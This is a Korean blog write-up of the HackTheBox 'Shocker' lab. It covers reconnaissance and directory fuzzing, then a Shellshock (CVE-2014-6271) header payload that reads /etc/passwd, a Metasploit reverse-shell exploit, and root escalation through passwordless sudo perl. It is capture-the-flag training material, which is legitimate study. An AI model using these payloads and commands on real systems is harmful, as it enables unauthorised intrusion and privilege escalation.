HackTheBox - Shocker환경 실습
진행 절차
Reconnaissance(정찰)
Step 1. HackTheBox 사용을 위해 Kali Linux에서 VPN 맺은 후, 정보 수집을 위해 mnap을 통해 확인해본 결과, HTTP, SSH가 Open되어 있음을 확인
명령어 |
root@kali#nmap –sV –sC 10.10.10.56 |
Step 2. SSH는 사용자 이름 Brute Force 등 밖에 시도할만한 공격이 없는 것으로 판단되어, HTTP로 접근 했을 때 이미지 파일 올라온 것 이외의 특이사항이 없는 것으로 판단. 디렉토리 scan을 통해 확인 시, '/cgi-bin/', '/icons', '/icons/small/' 디렉토리가 403(forbidden)으로 접근 불가능하며, 이외에 디렉토리는 탐지된 것이 없는것으로 확인. 해당 디렉토리 자체는 접근이 불가능하여도 하위 파일들은 접근 가능할 수 있어 시스템 중요 파일인(.sh, .cgi. .pl) 조회 시 'user.sh'가 있는 것으로 확인되며 접근했을 때 파일 다운로드 되는 것으로 확인
명령어 |
root@kali#dirb http://10.10.10.56 |
root@kali#dirbuster |
root@kali#ffuf –w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt –u http://10.10.10.56/FUZZ |
root@kali#feroxbuster –u http://10.10.10.56 –f –n |
root@kali#feroxbuster –u http://10.10.10.56/cgi-bin/ -x sh,cgi,pl |
Step 3. 해당 파일을 open 했을 때, 서버 uptime 시간이 찍힌 파일인것으로 확인. 리눅스 명령어인 uptime 명령어 구조와 비슷한 것으로 확인되어 쉘 스크립트로 추측되어 burpsuite으로 확인 시, Content-Type이 'text/x-sh'인 것으로 확인했을 때, bash 쉘을 사용하고 있는 것으로 확인.
Execution(실행)
Step 4. 리눅스/유닉스 기반 서버에 GNU bash shell에서 공격자가 원격으로 명령어를 실행 할 수 있는 취약점인 ShellShock(CVE-2014-6271) 공격 진행 시, 시스템 명령어가 동작하는 것으로 확인. netcat 또는 metasploit을 통해 exploit 진행 시 리버스 쉘 획득 성공 확인
- ShellShock Vulnerability(CVE-2014-6271) : GNU bash shell에서 환경변수를 통해 공격자가 명령어를 실행할 수 있는 취약점으로, 공격자는 Shellshock에 취약한 홈페이지에 요청 헤더값을 변조하여 공격을 진행 후 주요 정보 또는 악성코드 삽입등이 가능한 취약점.
웹에서 요청 헤더값에 '() {:;}; echo /bin/cat /etc/passwd' 입력 시, bash에서는 var = (){:;}; echo; /bin/cat /etc/passwd로 입력 받음.
- (){:;} : 함수 즉시 실행하라는 의미로 기본 구조는 (function() {}); 형태로 구성.
- echo : 리눅스 명령어로 입력값에 대해 출력
- /bin/cat /etc/passwd : 리눅스 시스템 명령어를 사용하여 리눅스 계정 정보를 다루는 파일 조회
명령어 |
root@kali#msfconsole |
msf6>search shellshock |
msf6> use 1 |
msf6(multi/http/apache_mod_cgi_bash_env_exec)> set RHOSTS [타겟 IP] |
msf6(multi/http/apache_mod_cgi_bash_env_exec)> set targeturi /cgi-bin/user.sh |
msf6(multi/http/apache_mod_cgi_bash_env_exec)> set LHOST [Kali IP] |
msf6(multi/http/apache_mod_cgi_bash_env_exec)> exploit |
Privilege Escalation(권한 상승)
Step 5. 권한 상승을 위하여 확인하는 도중, sudo perl이 루트 권한으로 패스워드 없이 동작하는 것으로 확인. 해당 취약점을 이용하여 루트 권한으로 권한 상승 시 정상 동작 확인
명령어 |
meterpreter > shell |
python3 –c ‘import pty;pty.spawn(“/bin/bash”)’ |
shelly@Shocker$sudo -l |
shelly@Shocker$sudo perl –e ‘exec “/bin/bash”’ |
'hackthebox' 카테고리의 다른 글
HackTheBox - Nineveh (0) | 2023.11.22 |
---|---|
HackTheBox - Cronos (2) | 2023.11.17 |
HackTheBox - Beep (0) | 2023.11.15 |
HackTheBox - Nibbles (0) | 2023.11.14 |
HackTheBox - Bashed (2) | 2023.11.13 |